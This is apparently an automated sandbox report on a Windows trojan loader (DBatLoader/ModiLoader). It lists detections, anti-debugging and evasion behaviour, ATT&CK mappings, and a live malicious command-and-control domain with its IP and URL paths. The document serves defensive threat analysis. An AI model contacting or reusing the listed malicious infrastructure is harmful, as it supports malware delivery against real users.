Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: 8e8JUOzOjR.exe

Static file information: File size 1161216 > 1048576

Data Obfuscation

Yara detected DBatLoader

Source: Yara match	File source: 0.2.8e8JUOzOjR.exe.23365a8.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.8e8JUOzOjR.exe.2830000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.8e8JUOzOjR.exe.23365a8.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3293909021.0000000002336000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3308900911.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\8e8JUOzOjR.exe

Code function: 0_2_02848798 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02848798

Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0285D2FC push 0285D367h; ret	0_2_0285D35F
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_028332FC push eax; ret	0_2_02833338
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0283635A push 028363B7h; ret	0_2_028363AF
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0283635C push 028363B7h; ret	0_2_028363AF
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0285D0AC push 0285D125h; ret	0_2_0285D11D
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0285D1F8 push 0285D288h; ret	0_2_0285D280
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0285D144 push 0285D1ECh; ret	0_2_0285D1E4
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_028486B8 push 028486FAh; ret	0_2_028486F2
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_02836736 push 0283677Ah; ret	0_2_02836772
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_02836738 push 0283677Ah; ret	0_2_02836772
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0283C4EC push ecx; mov dword ptr [esp], edx	0_2_0283C4F1
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0283D520 push 0283D54Ch; ret	0_2_0283D544
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0283CB6C push 0283CCF2h; ret	0_2_0283CCEA
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0284788C push 02847909h; ret	0_2_02847901
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_028468C6 push 02846973h; ret	0_2_0284696B
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_028468C8 push 02846973h; ret	0_2_0284696B
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0284E9E8 push ecx; mov dword ptr [esp], edx	0_2_0284E9ED
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0284890E push 02848948h; ret	0_2_02848940
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0284A917 push 0284A950h; ret	0_2_0284A948
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_02848910 push 02848948h; ret	0_2_02848940
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0284A918 push 0284A950h; ret	0_2_0284A948
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0283C967 push 0283CCF2h; ret	0_2_0283CCEA
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_02842EE0 push 02842F56h; ret	0_2_02842F4E
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_0285BFA0 push 0285C1C8h; ret	0_2_0285C1C0
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_02842FEC push 02843039h; ret	0_2_02843031
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_02842FEB push 02843039h; ret	0_2_02843031
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: 0_2_02845DFC push ecx; mov dword ptr [esp], edx	0_2_02845DFE

Source: C:\Users\user\Desktop\8e8JUOzOjR.exe

Code function: 0_2_0284A954 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0284A954

Source: C:\Users\user\Desktop\8e8JUOzOjR.exe

Code function: 0_2_028358B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_028358B4

Source: 8e8JUOzOjR.exe, 00000000.00000002.3293299782.0000000000764000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW<S
Source: 8e8JUOzOjR.exe, 00000000.00000002.3293299782.0000000000764000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 8e8JUOzOjR.exe, 00000000.00000002.3293299782.000000000071E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP=w%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\8e8JUOzOjR.exe

API call chain: ExitProcess graph end node

graph_0-25635

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\8e8JUOzOjR.exe

Code function: 0_2_0284F024 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

0_2_0284F024

Source: C:\Users\user\Desktop\8e8JUOzOjR.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\8e8JUOzOjR.exe

Code function: 0_2_02848798 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02848798

Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02835A78
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: GetLocaleInfoA,	0_2_0283A790
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: GetLocaleInfoA,	0_2_0283A744
Source: C:\Users\user\Desktop\8e8JUOzOjR.exe	Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,	0_2_02835B84

Source: C:\Users\user\Desktop\8e8JUOzOjR.exe

Code function: 0_2_0283918C GetLocalTime,

0_2_0283918C

Source: C:\Users\user\Desktop\8e8JUOzOjR.exe

Code function: 0_2_0283B70C GetVersionExA,

0_2_0283B70C

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 Valid Accounts	1 Valid Accounts	1 Valid Accounts	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Access Token Manipulation	1 Access Token Manipulation	LSASS Memory	111 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 System Network Connections Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
8e8JUOzOjR.exe	53%	Virustotal		Browse
8e8JUOzOjR.exe	66%	ReversingLabs	Win32.Trojan.ModiLoader

Source	Detection	Scanner	Label
https://fodoknotel.za.com:443/245_Aiymwhpjxsg	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_Aiymwhpjxsgw	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/T	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_Aiymwhpjxsgv	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/L	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_Aiymwhpjxsgp	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_Aiymwhpjxsgr	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_Aiymwhpjxsgq	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_Aiymwhpjxsg3	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_Aiymwhpjxsg.	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_Aiymwhpjxsgk	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/~d	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_Aiymwhpjxs	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/D	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_Aiymwhpjxsge	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/z	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/4	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_Aiymwhpjxsgd	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_Aiymwhpjxsg	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_Aiymwhpjxsgh-	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_AiymwhpjxsgH	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/$	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_AiymwhpjxsgL	0%	Avira URL Cloud	safe
https://fodoknotel.za.com/245_AiymwhpjxsgIz	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fodoknotel.za.com	23.237.26.135	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://fodoknotel.za.com/245_Aiymwhpjxsg	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://fodoknotel.za.com/	8e8JUOzOjR.exe, 00000000.00000003.3080883539.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2281169917.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/T	8e8JUOzOjR.exe, 00000000.00000003.2911673475.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2598466667.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2518028011.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.3207010762.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/245_Aiymwhpjxsgw	8e8JUOzOjR.exe, 00000000.00000003.2125440072.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com:443/245_Aiymwhpjxsg	8e8JUOzOjR.exe, 00000000.00000002.3293299782.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/245_Aiymwhpjxsgv	8e8JUOzOjR.exe, 00000000.00000003.2125440072.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2212096880.00000000007AC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/245_Aiymwhpjxsg3	8e8JUOzOjR.exe, 00000000.00000003.2440604569.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2475375428.00000000007AE000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.3029192234.00000000007AD000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2466690184.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2449431226.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2125440072.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2964613609.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2212096880.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2518028011.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/245_Aiymwhpjxsgr	8e8JUOzOjR.exe, 00000000.00000003.2911673475.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2658477302.00000000007DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/245_Aiymwhpjxsgq	8e8JUOzOjR.exe, 00000000.00000003.2912325481.00000000007A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/245_Aiymwhpjxsgp	8e8JUOzOjR.exe, 00000000.00000003.2624617126.000000000080D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/L	8e8JUOzOjR.exe, 00000000.00000003.3207010762.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/245_Aiymwhpjxsg.	8e8JUOzOjR.exe, 00000000.00000003.2079267471.00000000007B2000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2624617126.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2475375428.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000002.3293299782.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.3080883539.00000000007DD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/245_Aiymwhpjxs	8e8JUOzOjR.exe, 00000000.00000002.3307684614.000000002061D000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/~d	8e8JUOzOjR.exe, 00000000.00000003.2449431226.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/245_Aiymwhpjxsgk	8e8JUOzOjR.exe, 00000000.00000003.2475375428.00000000007AE000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.3029192234.00000000007AD000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.3055354165.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2466690184.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2964613609.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/D	8e8JUOzOjR.exe, 00000000.00000003.2624617126.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/245_Aiymwhpjxsge	8e8JUOzOjR.exe, 00000000.00000003.2912325481.00000000007A4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/245_Aiymwhpjxsgd	8e8JUOzOjR.exe, 00000000.00000003.2598466667.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000002.3293299782.00000000007A4000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2911673475.00000000007AB000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2624617126.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2571450716.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/z	8e8JUOzOjR.exe, 00000000.00000003.2964613609.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/4	8e8JUOzOjR.exe, 00000000.00000003.3029192234.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2125440072.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/t	8e8JUOzOjR.exe, 00000000.00000003.2353992983.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2658477302.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2649569167.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2518028011.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://fodoknotel.za.com/245_Aiymwhpjxsgh-	8e8JUOzOjR.exe, 00000000.00000002.3293299782.000000000071E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/245_AiymwhpjxsgP	8e8JUOzOjR.exe, 00000000.00000003.2571450716.000000000080D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://fodoknotel.za.com/l	8e8JUOzOjR.exe, 00000000.00000003.2658477302.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2649569167.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.3207010762.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2281169917.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://fodoknotel.za.com/245_AiymwhpjxsgL	8e8JUOzOjR.exe, 00000000.00000003.2440604569.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2449431226.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2125440072.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2518028011.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/$	8e8JUOzOjR.exe, 00000000.00000002.3293299782.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2212096880.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2658477302.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2598466667.00000000007D3000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2229527099.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/245_AiymwhpjxsgH	8e8JUOzOjR.exe, 00000000.00000003.2624617126.000000000080D000.00000004.00000020.00020000.00000000.sdmp, 8e8JUOzOjR.exe, 00000000.00000003.2649569167.000000000080D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://fodoknotel.za.com/d	8e8JUOzOjR.exe, 00000000.00000003.2571450716.00000000007D3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://fodoknotel.za.com/245_AiymwhpjxsgIz	8e8JUOzOjR.exe, 00000000.00000003.2281169917.00000000007E6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.237.26.135	fodoknotel.za.com	United States		174	COGENT-174US	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590520
Start date and time:	2025-01-14 08:24:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	8e8JUOzOjR.exe renamed because original name is a hash value
Original Sample Name:	421e68364bf99e35f1af18e71327e994.exe
Detection:	MAL
Classification:	mal76.troj.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 23 Number of non-executed functions: 38
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.42.73.29, 40.126.32.68, 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdeus15.eastus.cloudapp.azure.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:24:56	API Interceptor	143x Sleep call for process: 8e8JUOzOjR.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
23.237.26.135	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	LACTALIS SECURED 03-13-2024.htm	Get hash	malicious	Unknown	Browse
	https://link.mail.beehiiv.com/ls/click?upn=fBLT-2BLuQl3NwiQlY-2FUB-2F7yZK63rzVbOt6SRjyVrBIqFzFDo8M-2Fg4Bo4-2BO4hpom8z7ZLuxy2QxlYMgW1Gzy6pwCm23aez0vVyhBm7eCGwE0WdMbo1BXh-2BFRtbcaklbKh26FDy0n-2FdQ9t7RCwaH39WupxeBlLns-2FCYgl5f1ctJEhM-3DLmFo_AmeWD5ZsKC-2B3ZheZjnDpbUkAKgKl5WpTuOJCpyDqXRc8K-2FlFlJ4-2Bn1zDfmQE1bOIB5-2BmaBYS52bqAMuImdaBWt-2B7NcvDjHLSjDEqun4F40VGOju6f5eraMm-2BmA2cI4TwN5m-2FdXmsuh3AvB8I3hqCf5Su72C52AB82bXT78OFaGhLdykrKPYdzAmNePbUMkJfeZ1o1xXkpY533PpjggEufwqS96U2lHFtuM0AF0XznjCWvz2-2FAJxdv2yOU4Rja8sE1aVzAzUItssHkUW9tujzTKsHooxa0T1wqU-2BXsNw6IZYMBuNd2XQD3BPavL2FyKwgqOl-2BNlCpAsuRQyxxqbQ0sxmCsvEzI2nw166vYROKCjGmPPQtR1NyNiLpj317EtiqLrlvsktdS8N6bgTfK0t-2FA2HLcAR1clK9xdGWlVkoBfmmnRGIBboAePQ8ToZagwj4auB1PmTKZ9aQMtFdh-2FNJV17VPUH2ibgU2d8MV21fLKU-3D#/?/#/?/bfariss@onedigital.com	Get hash	malicious	Unknown	Browse
	https://link.mail.beehiiv.com/ls/click?upn=fBLT-2BLuQl3NwiQlY-2FUB-2F7yZK63rzVbOt6SRjyVrBIqFzFDo8M-2Fg4Bo4-2BO4hpom8z7ZLuxy2QxlYMgW1Gzy6pwCm23aez0vVyhBm7eCGwE0WdMbo1BXh-2BFRtbcaklbKh26FDy0n-2FdQ9t7RCwaH39WupxeBlLns-2FCYgl5f1ctJEhM-3DLmFo_AmeWD5ZsKC-2B3ZheZjnDpbUkAKgKl5WpTuOJCpyDqXRc8K-2FlFlJ4-2Bn1zDfmQE1bOIB5-2BmaBYS52bqAMuImdaBWt-2B7NcvDjHLSjDEqun4F40VGOju6f5eraMm-2BmA2cI4TwN5m-2FdXmsuh3AvB8I3hqCf5Su72C52AB82bXT78OFaGhLdykrKPYdzAmNePbUMkJfeZ1o1xXkpY533PpjggEufwqS96U2lHFtuM0AF0XznjCWvz2-2FAJxdv2yOU4Rja8sE1aVzAzUItssHkUW9tujzTKsHooxa0T1wqU-2BXsNw6IZYMBuNd2XQD3BPavL2FyKwgqOl-2BNlCpAsuRQyxxqbQ0sxmCsvEzI2nw166vYROKCjGmPPQtR1NyNiLpj317EtiqLrlvsktdS8N6bgTfK0t-2FA2HLcAR1clK9xdGWlVkoBfmmnRGIBboAePQ8ToZagwj4auB1PmTKZ9aQMtFdh-2FNJV17VPUH2ibgU2d8MV21fLKU-3D#/?/%23/?/marketing@virtualintelligencebriefing.com	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fodoknotel.za.com	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	23.237.26.135

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
COGENT-174US	https://urlz.fr/tJIZ	Get hash	malicious	Unknown	Browse	143.244.197.139
	3e31414a-0c65-4866-9783-41979ca0d50e.eml	Get hash	malicious	Unknown	Browse	154.26.153.101
	New Order#12125.exe	Get hash	malicious	FormBook	Browse	154.39.239.237
	http://id1223.adsalliance.xyz	Get hash	malicious	Unknown	Browse	143.244.38.136
	elitebotnet.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	149.42.52.10
	elitebotnet.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	38.189.68.123
	3.elf	Get hash	malicious	Unknown	Browse	38.220.172.156
	CSZ inquiry for MH raw material.exe	Get hash	malicious	FormBook	Browse	154.39.239.237
	trow.exe	Get hash	malicious	Unknown	Browse	154.53.43.150
	https://afwkqc.com/	Get hash	malicious	Unknown	Browse	38.14.42.104

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	On9ahUpI4R.exe	Get hash	malicious	DBatLoader	Browse	23.237.26.135
	JDQS879kiy.exe	Get hash	malicious	DBatLoader	Browse	23.237.26.135
	UAHIzSm2x2.exe	Get hash	malicious	DBatLoader	Browse	23.237.26.135
	LbZ88q4uPa.exe	Get hash	malicious	DBatLoader	Browse	23.237.26.135
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	23.237.26.135
	183643586-388657435.07.exe	Get hash	malicious	Unknown	Browse	23.237.26.135
	uo9m.exe	Get hash	malicious	LummaC	Browse	23.237.26.135
	uo9m.exe	Get hash	malicious	LummaC	Browse	23.237.26.135
	YYYY-NNN AUDIT DETAIL REPORT .docx	Get hash	malicious	Unknown	Browse	23.237.26.135

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.245750443305576
